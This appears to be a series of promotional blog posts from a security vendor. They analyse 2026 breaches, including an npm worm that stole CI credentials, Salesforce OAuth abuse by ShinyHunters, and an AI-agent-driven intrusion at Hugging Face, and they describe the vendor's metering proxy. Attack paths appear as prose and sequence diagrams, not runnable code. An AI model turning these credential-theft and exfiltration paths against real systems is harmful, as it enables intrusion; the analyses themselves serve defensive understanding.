Every vendor has added it to their deck. Most of them mean something different by it. Some mean almost nothing. That is worth sorting out before you commit budget to it.

What agentic cybersecurity actually means

An AI agent is a system that can plan, call tools, and act across multiple steps without a human steering each one. A traditional model takes an input and returns an output. An agent takes a goal, decides how to pursue it, invokes tools, reads the results, and continues until it has an answer.

Agentic cybersecurity applies that architecture to security work: finding vulnerabilities, synthesizing exploits, and prioritizing remediation.

Three distinctions that matter:

1. A classifier labels findings. An agent decides whether to dig deeper.
2. A scanner runs a fixed tool list. An agent chooses which tools to run based on what it finds.
3. A report summarizes data. An agent reasons about what the data means and acts on it.

The third point is where most "AI security" products fall short. They score. They do not reason.

Key facts

The marketing is moving faster than the technology. Here are five concrete anchors:

1. Most products described as "agentic" use ML classifiers trained on historical data. Classifiers do not plan; they pattern-match.
2. A genuine agent requires three components: a planning mechanism, memory (context across steps), and tool use. Planners without tool use are not agents.
3. Sekura's scan pipeline runs seven phases, each driven by a specialized agent passing structured artifacts to the next. Each phase can change direction based on what the previous phase found.
4. The false positive problem in scanner output is exactly where agent-based reasoning earns its place. A classifier gives you a score; an agent confirms whether the score corresponds to something exploitable.
5. Autonomous does not mean unsupervised. Well-designed agentic systems surface their reasoning at every step. Opacity is a design flaw, not a feature.

Where it is real, and where it is not

Real agentic security exists today in a few areas.

Penetration testing pipelines where agents run reconnaissance, form attack hypotheses, synthesize exploits, and chain them into multi-step compromise paths. This is the area we know best at Sekura.

Triage and prioritization, where agents read scanner output, call enrichment APIs (CVE databases, threat feeds), and produce an actionable worklist rather than a scored list.

Incident response support, where agents pivot through logs and surface candidate root causes. This is earlier-stage but moving quickly.

I think the clearest indicator of where it is not real is this: a genuine agent has an observable trace. You can see what it planned, which tools it called, what it found, and why it continued or stopped. If the vendor cannot show you that trace, they are not shipping an agent.

"AI-native" is the new "cloud-native." The phrase describes a decade of retrofits pretending to be a fresh start.

Questions that separate real from rhetorical

Ask these five before any evaluation:

1. What is the agent's planning mechanism? Can you show me the planning steps on a sample target?
2. What tools does the agent have access to, and how does it decide which to call?
3. How does the agent handle dead ends? What is the failure behavior when a tool returns nothing useful?
4. Does the system produce a deterministic exploit for each finding, or a probability score?
5. Can I see an agent trace from a real engagement, with intermediate steps visible?

The answers will tell you more than any benchmark. Agents that can answer question four with a working exploit are a different product category from agents that answer it with a CVSS score.

I believe the gap between real and synthetic agentic security will close in the next eighteen months as the underlying models improve. But right now the gap is significant, and buyers who know what to ask for are the ones who will not pay twice for the same thing.

Security is moving from detection to action. That trajectory is slow but it has not reversed. Start with a free scan to see what genuine agentic pentesting produces on your own attack surface.

The attack started with stolen npm maintainer credentials. Once ChainDrop had a valid token, it enumerated every package that identity controlled, downloaded the latest release of each, inserted a malware bundle and a preinstall loader into the tarball, incremented the patch version, and republished the modified package. Any development team that ran npm install after the poisoned versions appeared in the registry had the preinstall hook execute before the installation completed. The hook collected npm tokens, GitHub tokens, AWS credentials, Kubernetes tokens, and HashiCorp Vault secrets from the CI/CD environment, then transmitted them over HTTPS to attacker-controlled infrastructure.

Microsoft documented the full attack chain on August 4, identifying major enterprise packages including keyv, flat-cache, and cache-manager among more than 400 compromised. For cloud-native organisations, the stolen credentials represent a direct path to production resources: an AWS credential reads S3 buckets, parameter stores, and Secrets Manager; a Kubernetes token enumerates cluster state and retrieves configuration secrets; a Vault token exposes database passwords and TLS certificates. None of the affected packages raised an error during installation. The worm returned a clean exit code.

Two things are worth pulling out of the reporting.

What scanners would have missed

Software composition analysis tools check dependency versions against CVE databases. ChainDrop has no CVE. It did not exploit a vulnerability in npm, in keyv, or in any CI/CD system. It abused npm's trust model by publishing tampered tarballs under legitimate package names at fresh patch versions that had never previously existed.

Four patterns explain the gap:

1. Severity rankings that do not reflect the actual exploit path. A SCA scan of a package.json containing keyv at the poisoned version would return no known vulnerabilities. CVSS is undefined here, not because the risk is low, but because CVSS does not model supply chain integrity failures at the registry layer.
2. Single-tool scope. SAST scans source code. DAST probes running applications. SCA checks dependency metadata against known-vulnerability databases. None of these inspect the npm registry to detect that a published version has been silently replaced since its prior release.
3. Reachability analysis that stops at the application boundary. A tool that flagged a preinstall hook would not answer whether that hook was new to this version or whether it makes outbound connections to unfamiliar infrastructure. The question requires dynamic execution, not static inspection.
4. A missing verification control. npm does not validate by default that a downloaded tarball matches a known-good hash from a prior build. The assumption that version X.Y.Z is the same artifact as last sprint is not enforced by any scanner in the standard SAST-DAST-SCA stack.

The failure is a build-time trust boundary that standard tooling is not designed to audit.

What Sekura would have shown

Phase 4 of Sekura's pipeline is exploit synthesis. The agent takes a hypothesis and produces a deterministic proof.

For a customer with keyv or flat-cache in their dependency graph, the exploit synthesis agent would start from a Phase 1 finding: the white-box SAST scan flagged that keyv at the affected patch version contains a preinstall script absent from the prior release, and that the script makes outbound network calls to an external endpoint. Phase 4 takes that finding and executes the tampered package in a sandboxed CI environment. The result is a working proof: which credential environment variables the preinstall hook captured, and where it transmitted them.

sequenceDiagram
  participant Attacker
  participant npm as npm Registry
  participant CI as Customer CI/CD
  participant Env as Env Variables (AWS, K8s, Vault)
  participant C2 as Attacker Infrastructure
  Attacker->>npm: publish tampered keyv@X.Y.Z with preinstall hook
  CI->>npm: npm install
  npm-->>CI: deliver tampered tarball
  CI->>Env: preinstall hook reads credentials
  CI->>C2: exfiltrate over HTTPS
  note over CI: exit code 0, no error raised

What we would not claim is that this analysis would have stopped ChainDrop from reaching the npm registry. The finding lives inside the customer's build pipeline: does your CI/CD environment verify tarball integrity before executing install hooks? ChainDrop turns that question into a concrete, demonstrable answer. The proof shows which tokens leave your environment and where they go, not a theoretical model of what an attacker could do.

The bigger pattern

This is a build-time trust attack. The category is not new, but the mechanism is.

Earlier supply chain compromises targeted single packages. ChainDrop targeted the maintainer identity layer: one stolen credential reaches every package that identity controls, across any publisher. A single token theft can cascade across hundreds of packages before any detection fires.

Enterprise security posture is mostly measured at the application layer. Organisations scan containers, audit APIs, and run SCA against dependencies. Fewer have a concrete answer to a simpler question: who verifies that npm install does not execute attacker code before the first line of your application runs? Build-time integrity is an assumed guarantee, not an enforced control. ChainDrop demonstrates what happens when that assumption is tested.

If you want to see what proof-first analysis of your build pipeline looks like, book a POC.

Alcon is a Swiss-headquartered eye care company with roughly $9.9 billion in annual revenue and operations in over 60 countries. The claim was posted alongside two other victims: Questel SAS, a Paris-based intellectual-property software provider where ShinyHunters alleged 21 million Salesforce records and 147 GB of internal data, and Lumenis Ltd., an Israeli medical-technology firm where the group claimed 1.1 million records and 176 GB. ShinyHunters gave each organisation until August 4 to make contact before threatening public release. As of publication, Alcon has not issued a public statement on the claim.

The attack technique is consistent with a campaign Microsoft documented in July 2026. ShinyHunters abuses Salesforce Connected Apps through two paths. The first is vishing: threat actors impersonate IT support and guide employees through an OAuth consent flow that authorizes a malicious app disguised as Salesforce Data Loader. The second is supply chain compromise: by breaching third-party SaaS vendors that integrate with Salesforce via OAuth, the group obtains refresh tokens that grant persistent API access to downstream customer Salesforce instances. Once inside, bulk SOQL queries export accounts, contacts, and service case records without triggering sign-in anomalies, because the API calls are indistinguishable from legitimate integrations. Two things are worth pulling out of the reporting.

What scanners would have missed

The vulnerability here is not in source code. It is in the trust relationships between Salesforce and the applications connected to it.

A SAST scanner running on Alcon's internal codebase would find nothing. The exfiltration path did not pass through Alcon's own code. A DAST scanner probing Alcon's web applications would also find nothing. The attacker did not send malformed HTTP requests to Alcon's servers. A dependency scanner checking for CVEs in Alcon's libraries would find nothing. There is no CVE for this class of attack.

The failure modes fall into four patterns that scanners miss consistently:

1. Overprivileged Connected Apps that can bulk-query CRM data with no additional user verification.
2. Third-party OAuth integrations inheriting high-privilege Salesforce user contexts from compromised vendors.
3. No rate limiting or anomaly detection on bulk record exports via the API.
4. OAuth consent flows that any authenticated employee can complete without a secondary approval step.

Severity rankings are meaningless here because there is no CVE to score. The attack surface exists entirely in a configuration layer that SAST, DAST, and SCA tools do not model. A CVSS score divorced from your actual OAuth trust graph tells you nothing about whether your Salesforce instance is safe.

What Sekura would have shown

Phase 3 of Sekura's pipeline is dynamic probing. The agent in that phase is not running a web vulnerability scanner. It is actively probing the application's attack surface at runtime, including identity flows, OAuth endpoints, and third-party integration touchpoints.

For an Alcon-style environment, the dynamic probing agent would have enumerated the Salesforce Connected Apps registered in the org. It would have identified which apps held refresh tokens with broad API scope. It would have tested whether the OAuth consent flow for a newly registered Connected App could be completed without secondary verification. And it would have queried the Salesforce API under a constrained test-user context to confirm whether bulk record export was rate-limited or flagged.

sequenceDiagram
  participant SH as ShinyHunters
  participant Vendor as Compromised SaaS Vendor
  participant SF as Salesforce API
  participant CRM as Alcon CRM Data
  SH->>Vendor: compromise OAuth refresh token
  Vendor-->>SH: token with bulk API scope
  SH->>SF: bulk SOQL queries via Connected App
  SF->>CRM: return account, contact, case records
  CRM-->>SH: 25M records exfiltrated
  note over SF: no sign-in alert triggered

The finding would have shown a Connected App with full or api scope that any authenticated employee can authorize, combined with a third-party integration carrying a long-lived refresh token with no expiry policy, combined with no transaction security policy on bulk exports. That combination is not a theoretical risk. It is a demonstrable exfiltration path.

What we would not claim is that this analysis would have stopped the attack. The dynamic probing agent would have produced a proof showing the path was open, and given Alcon a concrete remediation target: scope-restrict Connected Apps, rotate long-lived OAuth tokens, enable Salesforce Event Monitoring with bulk export alerts.

The bigger pattern

This is an OAuth trust chain attack. The category is not new. The scale is.

ShinyHunters has tallied over 1.5 billion stolen Salesforce records across victims in the past several months. The reason is that Salesforce is a concentration point. One well-connected CRM instance holds more customer and employee PII than most internal databases. And the trust model, Connected Apps with broad scope and long-lived refresh tokens, was designed for developer convenience in environments where credential theft of a third-party vendor now means instant access to the downstream CRM.

Most organisations can name their internet-facing web applications. Fewer can enumerate which third-party integrations hold active OAuth tokens against their Salesforce org, what scope those tokens carry, and when those tokens last rotated. That gap is where this campaign runs.

If you want to see what proof-first coverage of your SaaS trust graph looks like, book a POC.

An unauthorized party accessed EY's IT service management platform from March 28 to April 12, 2026. EY uses the platform so internal IT staff can support teams handling client tax engagements. Support tickets submitted through that platform often include document attachments containing client tax filings. EY detected anomalous activity on April 23 and began an investigation. The company has since filed breach notifications with the California and Texas attorneys general, naming at least 1,366 affected individuals in those two states.

BleepingComputer reported that the ShinyHunters extortion group has claimed responsibility, adding EY to its dark web leak site with a July 31, 2026 deadline. The group alleges it obtained EY credentials through a supply-chain compromise of the vendor operating the ITSM platform, then used those credentials to access client documents. ShinyHunters also claims those credentials opened EY's Jira, GitHub, and Microsoft Azure environments. EY has not confirmed that ShinyHunters was the responsible party or that internal systems beyond the ITSM platform were affected. Exposed data potentially includes names, home addresses, Social Security numbers, bank account numbers, payment card data, and other information used in preparing tax filings. Affected clients are being offered 24 months of identity monitoring through Experian.

Two things are worth pulling out of the reporting.

What scanners would have missed

The breach did not originate inside EY's own code. No SAST tool scanning EY's repositories would have reached the vendor's platform. No DAST tool crawling EY's external endpoints would have mapped the ITSM system as part of EY's attack surface. The attack surface was a third-party SaaS tool, operated by a separate organization, carrying EY client data.

This is the failure mode that CVSS-based scanning cannot see. A scanner assigns a severity score to a vulnerability it can observe in your own environment. It has no model of which third-party tools hold your data, who can authenticate into them, or what happens to your clients' documents if a vendor credential is compromised.

Four gaps that standard tooling cannot close:

1. SAST has no visibility into vendor codebases or vendor infrastructure.
2. DAST crawls your perimeter, not the vendor's authentication flow.
3. SCA maps your dependencies, not the data sensitivity of what flows through a trusted partner's system.
4. CVSS scores do not reflect the blast radius of a federated trust relationship.

The EY incident is a data-classification and trust-boundary problem. That is why no standard scanner would have flagged it.

What Sekura would have shown

Sekura's Phase 5, exploit-chain analysis, is where this kind of multi-hop attack path becomes visible.

The chain here had three links: the vendor's credential store was the entry point; EY's ITSM instance was the pivot; client tax documents were the payload. A scanner evaluating any single link in isolation would not produce that picture.

Sekura's exploit-chain agent would have started by mapping the full trust graph: which external platforms have authenticated access to client data, what credential is needed to read document attachments, and how many clients are exposed if that credential is compromised. From that mapping, it would have synthesized a finding showing the data reachable with one compromised vendor login. Not a "medium: exposed support portal" label. A precise statement of blast radius: bulk client SSNs and financial data accessible through a single federated credential.

sequenceDiagram
  participant Attacker
  participant Vendor as ITSM Vendor
  participant ITSM as EY ITSM Platform
  participant Docs as Client Tax Documents
  Attacker->>Vendor: Supply-chain credential compromise
  Attacker->>ITSM: Login with stolen EY credentials
  ITSM->>Docs: Support tickets carry client tax attachments
  Attacker->>Docs: Bulk exfiltration (March 28 - April 12)

I think the hardest part of this class of problem is that it requires treating your vendors' access to your data with the same rigor you apply to your own code. Most security programs do not do that.

The bigger pattern

This is a third-party supply-chain breach. The victim is a Big 4 firm, the data is among the most sensitive a professional services organization handles, and the entry point was a support ticket system with no CVE attached to it.

Supply-chain breaches follow a consistent structure: a trusted vendor holds data that belongs to the customer, the vendor's security controls do not match the data's sensitivity, and the customer has no direct visibility into the vendor's access model. The EY incident fits that structure.

We are in a period where sensitive data has accumulated inside SaaS workflows that were designed for operational convenience. The access control requirements of the data those workflows now carry were not the original design constraint. That gap is where supply-chain attacks find purchase.

If you want to see what proof-first looks like on your own third-party attack surface, book a POC.

The intrusion began with a dataset upload. According to Hugging Face's official security incident disclosure, the dataset abused two distinct code-execution paths in the company's data-processing infrastructure. The first was a remote-code dataset loader: Hugging Face's platform supports custom loading scripts that execute automatically when a dataset is ingested. The second was a template-injection flaw in a dataset configuration file. When the platform parsed that config, it executed an attacker-controlled payload. Together, the two paths gave the attacker code execution on processing workers inside Hugging Face's production environment.

From that initial foothold, an autonomous agent framework escalated to node-level access, obtained cloud and cluster credentials, and moved laterally across internal systems over a single weekend. The disclosure counted more than 17,000 recorded actions. Hugging Face confirmed that public models, datasets, and Spaces were not tampered with, and that the software supply chain was verified clean. Service credentials were compromised. The company revoked and rotated the affected tokens, closed the dataset code-execution paths, rebuilt affected nodes, and deployed enhanced cluster guardrails.

Two things are worth pulling out of the reporting.

What scanners would have missed

Both vulnerabilities in this breach were plausibly findable before the incident. That is exactly the problem.

A SAST pass over the dataset-processing code would have flagged the remote-code loader as a code-execution risk. But the remote-code loader is a documented platform feature. Hugging Face's ecosystem depends on dataset loading scripts that execute automatically on ingestion. A SAST tool produces a finding; it cannot determine whether the feature is reachable from an untrusted external submission boundary, or whether execution is isolated from production credentials. Without that context, the finding lands in a queue alongside dozens of others with similar CVSS scores.

The template-injection flaw in the config parser would have produced a separate finding. Separate severity score. Separate triage ticket. No relationship to the first finding.

DAST would not have closed this gap. Dynamic scanners probe the public API surface. The dataset-ingestion pipeline is internal infrastructure. A scanner targeting the HTTP boundary would not exercise the processing worker the same way a submitted dataset does. The attack surface was not where most tooling looks.

The critical failure mode here is the exploit chain, not either finding individually. One medium-to-high severity finding for the loader, one medium-to-high for the config parser, neither especially urgent in isolation. Combined from the same dataset submission, they produce privilege escalation to internal cluster credentials. A severity ranking system that evaluates findings independently does not surface that combination.

What Sekura would have shown

This is a Phase 4 case: exploit synthesis.

Sekura's exploit-synthesis agent takes findings from the SAST and dynamic-probing phases and attempts to construct working exploit chains across component boundaries. For a data-processing pipeline that ingests untrusted content, the relevant surface is the submission-to-worker execution path.

The SAST agent would have identified both the remote-code loader path and the template-injection flaw. The exploit-synthesis agent would then ask the natural next question: can these two findings be reached from the same attacker-controlled input? A single malicious dataset can include both a crafted loading script and a poisoned config file. Submitting that dataset reaches both code-execution paths in the same pipeline run.

Sekura would have produced a finding showing a chained code-execution path from external dataset submission to processing worker, with a proof-of-concept demonstrating that the worker's execution environment shares credential access with internal cluster infrastructure. That finding would carry the blast radius: cloud credentials scoped across production nodes.

sequenceDiagram
  participant Attacker
  participant Platform as HF Dataset Platform
  participant Loader as Dataset Loader
  participant Config as Config Parser
  participant Worker as Processing Worker
  participant Cluster as Internal Cluster
  Attacker->>Platform: submit dataset with crafted loader + config
  Platform->>Loader: execute loading script (RCE path 1)
  Platform->>Config: parse dataset config (template injection path 2)
  Loader->>Worker: attacker code runs on worker
  Config->>Worker: template payload executes
  Worker->>Cluster: access cloud and cluster credentials
  Cluster-->>Attacker: lateral movement across internal nodes

We would not claim this would have prevented the breach. What we can say is that proof-first analysis of the ingestion pipeline would have produced one chained finding with a working exploit, not two disconnected medium-severity notes in separate queues.

The bigger pattern

This breach belongs to a growing category: attacks on the tooling infrastructure that AI platforms depend on to function. The dataset-processing pipeline exists because ML development requires processing untrusted data at scale. That is the feature. The feature is also the attack surface.

In 2026, AI supply chain is where software supply chain was in 2020: a widely understood risk in principle and largely unverified in practice. The Hugging Face incident is notable not because the individual techniques were novel, but because an autonomous agent framework compressed the time from initial foothold to broad lateral movement down to a single weekend. Speed of exploitation changes what continuous security analysis means in practice.

The question for any team operating an AI platform is not whether their public API is hardened. It is whether the pipeline processing untrusted content has been subject to the same proof-first analysis.

If you want to see what that analysis looks like on your own infrastructure, book a POC.

AssuranceAmerica, an Atlanta-based auto insurer, detected suspicious activity in its network on March 17, 2026. BleepingComputer reported that an external forensics investigation traced the intrusion to March 16, when an attacker used compromised employee credentials to access portions of the company's IT environment and began copying customer data files. The stolen records cover 6.99 million individuals and include names, contact details, automobile insurance policy information, vehicle and driver data, claims records, and driver's license numbers. The company completed its review of the accessed data on June 15 and began notifying affected customers in July.

AssuranceAmerica's disclosed response included disabling the compromised credentials, terminating unauthorized sessions, isolating affected systems, resetting passwords, and deploying enhanced monitoring. The company has stated that it has no current evidence of fraudulent use of the stolen records.

Two things are worth examining closely.

What scanners would have missed

The attacker did not exploit a vulnerability. They used a valid password.

Vulnerability scanners classify risk by matching observed conditions against known-bad signatures. A CVSS score describes a flaw in software. Neither applies when an attacker authenticates as a legitimate employee. From the application's perspective, a stolen credential and a genuine one produce identical sessions.

DAST tools might probe the employee login portal for injection flaws or authentication bypasses. They will not test what a correctly authenticated session can reach from the inside. SCA adds nothing relevant here. SAST cannot surface an access control gap that lives in application configuration and business logic rather than code syntax.

Here is what the scanner gap looks like in concrete terms for this breach:

1. No scanner tested whether a single employee account could bulk-export the full customer record set.
2. No scanner assessed whether the API behind the employee portal enforced per-session row limits or export ceilings.
3. No scanner modeled the blast radius if one account in the employee directory were compromised.
4. No scanner flagged that 6.99 million records were reachable from a single authenticated session.

The failure mode is not a missing patch. It is a privilege scope that was never treated as an attack surface.

What Sekura would have shown

Sekura's Phase 3 agent (dynamic probing) works from inside authenticated sessions, not from the unauthenticated perimeter.

After Phase 2 recon identifies the employee-facing portal as an attack surface, Phase 3 probes it from the perspective of a correctly authenticated session. It tests for bulk data export paths, API endpoints that accept wildcard queries, pagination handlers without row caps, and access control boundaries that differ between user roles. Where a single session can reach data beyond what that role's function requires, the agent records a finding.

Here is what the attack path would have looked like in Phase 3's output:

sequenceDiagram
  participant A as Attacker
  participant Portal as Employee Portal
  participant API as Internal Data API
  participant DB as Customer Database
  A->>Portal: authenticate with stolen credential
  Portal->>API: session token issued
  A->>API: GET /customers (no per-session row cap)
  API->>DB: bulk SELECT, no result limit
  DB-->>A: 6.99M records returned

Phase 3 would have produced a finding showing that a single authenticated employee session could enumerate and download the full customer dataset through the internal API, with no enforced row ceiling. In Phase 4 (exploit synthesis), we would then generate the proof: a deterministic script that authenticates with a test credential and confirms the complete export path, demonstrating the blast radius before any unauthorized party reached it.

I think that distinction matters. No CVE exists for "overly permissive employee data access." CVSS has no score for it. But a working proof of bulk export makes the risk concrete in terms any incident response team can act on directly.

The bigger pattern

Credential-based intrusions have become the dominant pattern in US insurance-sector breach disclosures in 2026. The sequence is consistent: one employee credential obtained via phishing or credential reuse, one authenticated session, and access to everything that session can reach.

Insurance companies are a frequent target for this pattern. They hold driver's license numbers, claims histories, vehicle details, and payment records. That combination is directly useful for identity fraud and insurance fraud. The systems holding that data were built for employee workflow efficiency, not for limiting the blast radius of a single compromised account.

The perimeter has been hardened over many years. The attacks have moved to the inside.

If you want to see what proof-first access testing looks like on your own employee authentication surface, book a POC.

The seller, going by the handle "888," posted on PwnForums with an archive described as "just over 35gb of source codes." As proof, they shared a screenshot showing a clone of a private Azure DevOps repository named 121123_AtriasTalentAcademy, hosted under an accenture.com-associated production domain. BleepingComputer reported that the claimed archive includes source code, RSA private keys, SSH keys, Azure Personal Access Tokens, Azure Storage access keys, and configuration files. The full archive is listed for purchase.

Accenture responded on July 8. A spokesperson described the incident as "an isolated matter" that the company has "remediated its source," adding that operations and service delivery were not affected. What Accenture did not address: how access was obtained, whether the archive includes client code, whether the Azure tokens were rotated before or after the data was extracted, and whether any downstream Azure DevOps organization sharing scope with Accenture carries residual exposure. The company's statement closes the public disclosure with those four questions still open.

Those open questions carry weight. Azure Personal Access Tokens carry the same permissions as the developer account that generated them. A valid PAT can read repositories, trigger pipeline runs, push commits, and in some configurations access adjacent Azure services without any additional authentication step. If any token in the archive was still live when the data left Accenture's environment, the exposure extended to every Azure DevOps organization or project that token was scoped to reach. Two things in the reporting are worth pulling apart.

What scanners would have missed

The failure mode here is not obscure. Secrets committed to version control are a documented class of finding. Many SAST tools scan for patterns matching private keys, tokens, and connection strings. Most would have produced a result on this codebase.

The problem is what that result looks like. A SAST scanner flags a hardcoded Azure PAT with a severity score derived from pattern characteristics, not from the token's actual scope or validity. The finding says: "Hardcoded credential detected. Severity: Medium." Four things it does not say:

1. Whether the token is still active.
2. What Azure DevOps organization the token is scoped to.
3. Whether that scope includes external client repositories.
4. What an attacker could do next with a live token of that scope.

That gap between detection and exploitability is where this kind of breach lives. A triage team reviewing a medium-severity hardcoded-credential finding has no immediate reason to escalate it above the queue of CVEs from the weekly SCA scan. The finding sits. The token stays live. Someone outside the organization finds it first.

DAST does not close the gap. Dynamic scans target running applications, not version control systems. SCA tools scan for known-vulnerable packages, not cloud credentials embedded in configuration files. The tool-scope mismatch is not a failure of execution. It is structural.

What Sekura would have shown

In Sekura's pipeline, Phase 1 is white-box SAST. An agent reads source code and configuration files across the full repository surface, including files that are often excluded from production scanning: development configs, CI pipeline definitions, test harnesses, and internal tooling repos. It flags pattern matches for private keys, API tokens, and cloud credentials.

That starting point is the same as a conventional SAST scanner. The difference begins at Phase 3: dynamic probing. At that phase, Sekura's agents take the credential artifacts surfaced by Phase 1 and validate them against the live environment. For an Azure PAT, that means calling the Azure DevOps REST API with the token and returning exactly what it can do.

The resulting finding does not say "Hardcoded credential. Severity: Medium." It says: this PAT is valid, scoped to org X, has contributor-level access to three repositories, and a dry-run pipeline execution against a sandboxed endpoint confirmed write access. That is what proof-first looks like for this class of finding. A working demonstration, not a probability estimate.

sequenceDiagram
  participant SAST as Phase 1 SAST
  participant Probe as Phase 3 Probing
  participant AzDO as Azure DevOps API
  SAST->>Probe: flagged Azure PAT in config file
  Probe->>AzDO: GET /organizations
  AzDO-->>Probe: 200 OK, org list returned
  Probe->>AzDO: POST /pipelines/run
  AzDO-->>Probe: 200 OK, pipeline queued
  Probe-->>SAST: live PAT, write access confirmed, proof attached

The bigger pattern

Secrets in source control is not a new problem. It is a scaling problem. As organizations grow their Azure DevOps footprints, the number of repositories, service accounts, and long-lived tokens all increase faster than the processes designed to manage them.

Professional services firms carry an added surface. Their repositories often hold code written for clients, configuration shared across engagements, and tokens generated for CI pipelines that were not decommissioned after a project closed. A breach in that environment does not stay inside the firm's boundary.

I think the pattern visible in 2026 is that organizations with mature SAST programs still get breached through this class of finding because detection without validation produces a queue of work no one knows how to prioritize. The findings are there. The proof is not.

If you want to see what proof-first looks like on your own repository surface, see how Sekura compares to conventional scanners.

The Sekura platform uses a dedicated LLM proxy at proxy.sekura.ai. The name sounds intrusive. It is not. The proxy's job is to count tokens and enforce billing limits. Your source code never crosses it.

What the proxy does

The proxy sits between our AI agents and the LLM provider APIs. When an agent calls a foundation model, that call routes through proxy.sekura.ai. The proxy captures four things and nothing else:

1. The requesting agent identifier
2. The number of input tokens sent to the model
3. The number of output tokens returned by the model
4. The model name, the timestamp, and the scan identifier

That is the complete list. The proxy does not log request bodies. It does not store prompts. It does not see your code, your findings, or your exploit chains.

Token counts are what we need for billing. They tell us how much compute a scan consumed. They are enough to generate an accurate invoice without touching the content that produced them. We designed it this way on purpose.

What never crosses the proxy

Your source code travels directly from the GitHub Actions runner to the LLM provider. It does not route through proxy.sekura.ai. The same is true for scan findings, exploit payloads, and any data your application exposes during dynamic probing.

I think this is the design decision that surprises most customers. The instinct is to assume a proxy sees everything it touches. Ours sees almost nothing. We separated the metering concern from the data concern because they belong in different trust zones.

The categories of data that never touch the proxy:

1. Source files checked out by the GitHub Actions runner
2. Agent prompts and the full LLM responses, including exploit synthesis output
3. Scan findings and proof-of-exploit artifacts
4. Runtime application data captured during dynamic probing phases

The LLM provider receives the actual API calls with your code in the payload. We receive only token counts. Those are different parties, different agreements, and different data.

How the call flow works

The sequence below shows where proxy.sekura.ai sits relative to your code and the LLM provider.

sequenceDiagram
    participant Runner as GitHub Actions Runner
    participant Agent as Sekura Agent
    participant Proxy as proxy.sekura.ai
    participant LLM as LLM Provider API

    Runner->>Agent: Starts scan (source checkout in local context)
    Agent->>Proxy: POST /meter/start (agent_id, model, scan_id)
    Proxy-->>Agent: Authorization token + request_id
    Agent->>LLM: API call (auth token in header, source code in body)
    LLM-->>Agent: Model response (findings, exploit candidates)
    Agent->>Proxy: POST /meter/complete (request_id, input_tokens, output_tokens)
    Proxy-->>Agent: Acknowledgement
    Agent->>Runner: Writes findings to local runner context

The proxy sees two lightweight metadata messages per LLM call. The LLM provider sees the full API call, including your code. Your findings stay inside the runner after the response returns. They are never sent back through the proxy.

The separation is structural, not a policy setting you have to configure. There is no option to route source code through the proxy because the proxy was never built to carry it.

The metering log schema

For teams that need to audit what the proxy stores, here is the exact schema of a metering record:

{
  "request_id":     "req_01j7z3m2k9x5w8p4n6q",
  "agent_id":       "sast-agent-v3",
  "model":          "claude-sonnet-5",
  "timestamp":      "2026-07-03T08:14:22Z",
  "input_tokens":   4812,
  "output_tokens":  389,
  "latency_ms":     1240,
  "scan_id":        "scan_sekura_8k3p7",
  "customer_id":    "cust_a9f7e2"
}

No prompt text. No file paths. No code snippets. The schema is intentionally narrow. Every field serves billing, rate limiting, or latency monitoring. Nothing else fit the schema and stayed in the schema.

Why this matters for IP-sensitive teams

I believe the cleanest architecture for sensitive workloads keeps data flows minimal. Every intermediate service is a place where data can be logged, breached, or compelled by legal process. Removing a hop removes that exposure surface.

The LLM providers we use operate under data processing agreements that, in most enterprise configurations, explicitly prohibit training on customer content. That agreement is between you and the provider. The proxy does not change it, alter it, or introduce a new party into the chain.

For teams running Sekura in enterprise distribution mode, the architecture is stricter still. The agents run entirely inside your firewall. The proxy.sekura.ai endpoint is replaced by an internal metering service on your own network. No data, no metadata, no request counts leave your perimeter during a scan.

You can verify the proxy's behavior in the Sekura dashboard. Every token count for every scan is visible, per agent, per model call. You will not find source code in those records. It was never there to find.

Security claims are easy to make. The architecture is what makes them checkable. Read how Sekura handles your source code end-to-end at /product/.

The company detected unauthorized access on June 17 and cut off the attackers the same day. KDDI notified Japan's Personal Information Protection Commission and the Ministry of Internal Affairs and Communications immediately. BleepingComputer reported that affected providers include NIFTY, BIGLOBE, J:COM, STNet, Commufa, and KDDI Web Communications, all of which run their email services on KDDI's shared backend. Email addresses and passwords were potentially obtained. KDDI confirmed that passwords were stored in hashed or encrypted form, though the company did not specify the algorithm used or what proportion of credentials may have been stored in a weaker form.

The 14.22 million figure covers current subscribers, former customers, and dormant accounts. The specific third-party software component was not named in KDDI's public disclosures. KDDI urged all affected users to change their email passwords immediately. SecurityAffairs noted that the attack maps to MITRE ATT&CK technique T1190, exploiting a public-facing application.

Two things are worth pulling out of the reporting.

What scanners would have missed

The entry point was a vulnerability in a vendor-supplied component running inside KDDI's shared email platform. That creates a specific blind spot for conventional security tooling.

SAST scans your source code. It does not scan the third-party software your vendor ships. DAST probes your own web application endpoints. It does not test the internal platform components a managed-service provider runs on your behalf. When the vulnerable software is something the ISP partners never wrote and cannot inspect, neither scan type touches it.

There is a second problem: scope. A CVSS score on the underlying vulnerability would not have conveyed what the blast radius actually was. A medium-severity finding in an email server library means one thing when it affects a single organization's inbox. It means something different when the same library is the authentication backend for six ISPs sharing a common platform. Severity scores are computed against the vulnerability in isolation. They do not model multi-tenant scope.

The structural gap here is familiar. Managed email services, hosted identity platforms, and outsourced communication infrastructure all create the same situation: multiple organizations sit behind a shared technical layer, and security responsibility for that layer is ambiguous. The ISPs assumed KDDI secured it. KDDI operated third-party software it did not develop.

A scanner pointed at any of the six ISPs would have found nothing wrong. The vulnerability did not live in their systems.

What Sekura would have shown

Sekura's recon phase builds the full attack surface before dynamic testing begins. For an organization like KDDI, that means including the infrastructure it operates on behalf of others.

Recon would have identified that the same email backend serves six separate ISP domains. It would have fingerprinted the third-party software components in that shared layer. And it would have computed the combined scope: a finding in the shared authentication layer is not a finding against one ISP, it is a finding against all six.

That scope calculation changes how findings are triaged. Here is how the output of recon flows into exploit-chain analysis for a case like this:

1. Shared platform confirmed: six tenants, single authentication backend.
2. Third-party email server software identified and version-pinned.
3. Known vulnerability class detected in the public-facing authentication handler.
4. Combined exposed scope: 14.2 million accounts across all tenants.
5. Priority elevated above single-tenant findings with higher individual CVSS scores.

Phase 3, dynamic probing, would then target the email platform's authentication endpoints specifically. The resulting report would not assign a CVSS score to the finding in isolation. It would show a working proof of access together with the recon-derived tenant scope, so the finding's real weight is legible without interpretation.

I think this is the core difference between score and proof. The score lives inside the vulnerability. The proof, paired with the recon scope, shows what an attacker can actually do with it.

The bigger pattern

This is a shared-infrastructure breach. One flaw in one platform component simultaneously exposed credentials at six separate organizations. The ISPs did not each get breached. The centralized platform got breached, and the consolidation multiplied the blast radius without any additional attacker effort.

